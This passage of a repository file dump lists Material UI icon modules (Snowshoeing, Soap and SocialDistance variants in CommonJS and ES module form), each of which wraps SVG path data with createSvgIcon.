    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 3.5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2M6.32 19.03l-1.14-1.47L4 18.5l2.38 3.04c.51.65 1.16 1.15 1.88 1.41.28.1.53.04.72-.11.3-.23.42-.7.12-1.07-.08-.1-.2-.17-.31-.22-.43-.18-.82-.45-1.14-.83l-.08-.1L11 18.2l.89-3.22 2.11 2v4.52h-2V23h3.87c.82 0 1.61-.21 2.26-.61.26-.16.37-.39.37-.64 0-.38-.3-.75-.77-.75-.13 0-.26.04-.37.1-.4.23-.87.37-1.36.4v-6.02l-2.11-2 .6-3C15.79 11.98 17.8 13 20 13v-2c-1.9 0-3.51-1.02-4.31-2.42l-1-1.58c-.4-.6-1-1-1.7-1-.75 0-1.41.34-5.99 2.28V13h2V9.58l1.79-.7L9.2 17z\"\n}), 'SnowshoeingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Soap.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.12 5-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5M14 6.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5c-1.24 0-2.25 1.01-2.25 2.25S12.76 9.25 14 9.25 16.25 8.24 16.25 7 15.24 4.75 14 4.75m5.75.75c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5m0-1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M16.5 1c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1\"\n}), 'Soap');"
  },
  {
    "path": "packages/mui-icons-material/lib/Soap.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.12 5-7.18 6.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1h8.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25S19.44 10 18.75 10H8.86c.64-1.11 1.48-2.58 1.49-2.61.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7C10.22 6.12 9.12 5 9.12 5M14 6.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5c-1.24 0-2.25 1.01-2.25 2.25S12.76 9.25 14 9.25 16.25 8.24 16.25 7 15.24 4.75 14 4.75m5.75.75c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5m0-1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M16.5 1c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1\"\n}), 'Soap');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-3.5-3c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1m4.25 15c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\"\n}), 'SoapOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-3.5-3c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1m4.25 15c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\"\n}), 'SoapOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2-1.5c0 .83-.67 1.5-1.5 1.5S15 3.33 15 2.5 15.67 1 16.5 1s1.5.67 1.5 1.5M1.94 11.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03z\"\n}), 'SoapRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2-1.5c0 .83-.67 1.5-1.5 1.5S15 3.33 15 2.5 15.67 1 16.5 1s1.5.67 1.5 1.5M1.94 11.79c-.6.56-.94 1.35-.94 2.18V20c0 1.66 1.34 3 3 3h13.68c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h7.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h8.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38H12.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h6.18c.65 0 1.25-.47 1.32-1.12.08-.75-.51-1.38-1.24-1.38h-9.9l1.49-2.61c.09-.16.14-.33.14-.53 0-.26-.09-.5-.26-.7l-.42-.45c-.38-.39-1.01-.41-1.41-.03z\"\n}), 'SoapRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2-1.5c0 .83-.67 1.5-1.5 1.5S15 3.33 15 2.5 15.67 1 16.5 1s1.5.67 1.5 1.5M1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3L9.12 5z\"\n}), 'SoapSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2-1.5c0 .83-.67 1.5-1.5 1.5S15 3.33 15 2.5 15.67 1 16.5 1s1.5.67 1.5 1.5M1 12.68V23h18v-2.5h-7v-1h9V17h-9v-1h10v-2.5H12v-1h8V10H8.86l1.88-3.3L9.12 5z\"\n}), 'SoapSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M20 5.5c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-3.5-3c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1m4.25 15c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\"\n}, \"1\")], 'SoapTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoapTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M20 5.5c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.25 6c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75m0-1.5C13.01 4.5 12 5.51 12 6.75S13.01 9 14.25 9s2.25-1.01 2.25-2.25-1.01-2.25-2.25-2.25m5.75 1c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5M20 4c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-3.5-3c-.83 0-1.5.67-1.5 1.5S15.67 4 16.5 4 18 3.33 18 2.5 17.33 1 16.5 1m4.25 15c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h6.75c.69 0 1.25-.56 1.25-1.25 0-.67-.53-1.2-1.18-1.24L8.87 10l1.48-2.6c.09-.17.14-.34.14-.54 0-.26-.09-.5-.26-.7L9.12 5l-7.18 6.8c-.6.56-.94 1.35-.94 2.17V20c0 1.66 1.34 3 3 3h13.75c.69 0 1.25-.56 1.25-1.25s-.56-1.25-1.25-1.25H12v-1h7.75c.69 0 1.25-.56 1.25-1.25S20.44 17 19.75 17H12v-1zM10 21H4c-.55 0-1-.45-1-1v-6c0-.39.23-.64.36-.75L7 9.87V12h3z\"\n}, \"1\")], 'SoapTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistance.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistance');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistance.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistance');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85m-2.77 4.43-1.41 1.41L18.17 16H5.83l1.58-1.59L6 13l-4 4 3.99 3.99 1.41-1.41L5.83 18h12.34l-1.58 1.58L18 20.99 22 17z\"\n}), 'SocialDistanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85m-2.77 4.43-1.41 1.41L18.17 16H5.83l1.58-1.59L6 13l-4 4 3.99 3.99 1.41-1.41L5.83 18h12.34l-1.58 1.58L18 20.99 22 17z\"\n}), 'SocialDistanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85m.87 8.07-2.79-2.79c-.32-.32-.86-.1-.86.35V16H6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V18h12v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'SocialDistanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85m.87 8.07-2.79-2.79c-.32-.32-.86-.1-.86.35V16H6v-1.79c0-.45-.54-.67-.85-.35l-2.79 2.79c-.2.2-.2.51 0 .71l2.79 2.79c.31.31.85.09.85-.36V18h12v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'SocialDistanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SocialDistanceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m4.78 3.58C7.93 8.21 6.99 8 6 8s-1.93.21-2.78.58C2.48 8.9 2 9.62 2 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M18 7c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m2.78 1.58C19.93 8.21 18.99 8 18 8s-1.93.21-2.78.58C14.48 8.9 14 9.62 14 10.43V11h8v-.57c0-.81-.48-1.53-1.22-1.85M22 17l-4-4v3H6v-3l-4 4 4 4v-3h12v3z\"\n}), 'SocialDistanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SolarPower.js",
